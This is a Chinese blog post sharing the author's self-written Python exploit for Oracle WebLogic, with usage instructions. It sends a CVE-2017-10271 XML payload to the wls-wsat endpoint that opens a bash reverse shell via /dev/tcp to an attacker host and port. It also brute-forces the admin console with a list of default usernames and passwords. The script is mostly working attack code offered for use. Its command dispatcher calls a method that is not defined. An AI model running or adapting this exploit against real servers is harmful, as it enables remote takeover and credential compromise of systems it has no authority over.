博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
自己写的Weblogic的poc
阅读量:4944 次
发布时间:2019-06-11

本文共 2184 字,大约阅读时间需要 7 分钟。

"""暂时只试用于Linux,先试试用一下反弹shell  CVE-2017-10271的EXp"""import requestsimport sysclass Weblogic :    def __init__(self,host,port,url) :        self.url=url        self.host=host        self.port=port    def CVE_2017_10271_Shell(self):        url=self.url+"/wls-wsat/CoordinatorPortType"        port=self.port        host=self.host        header={
"Accept":"*/*","Accept-Language":"en","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Content-Type":"text/xml","Connection":"close","Host":self.url.replace("http://","")} data="""
/bin/bash
-c
bash -i >& /dev/tcp/{}/{} 0>&1
""".format(self.host,self.port) Mikasa=requests.post(url,headers=header,data=data) print("请查看有没有获得Shell!!") def Shell_Cmd(self) : pass def Weak_Password(self): password=['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','mary'] url=self.url+"/console/j_security_check" for user in password : for pwd in password : data={
"j_username":user,"j_password":pwd,"j_character_encoding":"UTF-8"} test=requests.post(url,data=data,allow_redirects=False,verify=False) if 'console' in test.text and 'LoginForm.jsp' not in test.text : print("存在弱口令!!!!") print("user:"+user+" password:"+pwd) exit()if __name__=='__main__' : exp=Weblogic(sys.argv[3],sys.argv[4],sys.argv[1]) if sys.argv[2]=="CVE_2017_10271_Shell": exp.Reverse_Shell() elif sys.argv[2]=="Cmd": pass elif sys.argv[2]=="Weak_Password" : exp.Weak_Password() else : print("去屎吧2333333") print("CVE-2018-2628以及CVE-2018-2894也要去试试看,自己暂时还写不出这两个的exp")

 使用方法:

反弹shell :    python3  exp.py  http://xxxx:7001/   CVE_2017_10271_Shell     host   port(后面的是你自己反弹Shell的主机ip以及端口)  

Weak密码检测:   python3 exp.py  http://xxxx:7001/    Weak_Password    xxx   xxx     (因为用的是类的构造函数整的,所以在进行其他方面的测试的时候会导致后面多一些东西,填任意的即可QAQ)

转载于:https://www.cnblogs.com/Mikasa-Ackerman/p/11131419.html

你可能感兴趣的文章
两栈共享空间的存储结构和入栈出栈操作
查看>>
Oracle数据库中直方图对执行计划的影响
查看>>
归并排序
查看>>
[LeetCode] 112. Path Sum_Easy tag: DFS
查看>>
R语言介绍
查看>>
算法系列:概览
查看>>
Rhel-Server 5.5 安装ORACLE10
查看>>
ORACLE 10升级到10.2.0.5 Patch Set遇到的内核参数检测失败问题
查看>>
MySQL中lock tables和unlock tables浅析
查看>>
利用case when 减少表扫描次数
查看>>
结对编程作业
查看>>
Leetcode--Day10
查看>>
发送带有正文以及附件的邮件
查看>>
video视频限时观看
查看>>
eclipse下载安装
查看>>
Jquery中ajax加载提示插件blickUI
查看>>
Tomcat 启动报错 did not find a matching property.
查看>>
Fast DFS分布式文件存储系统
查看>>
选择排序算法---直接选择排序和堆排序
查看>>
读文件
查看>>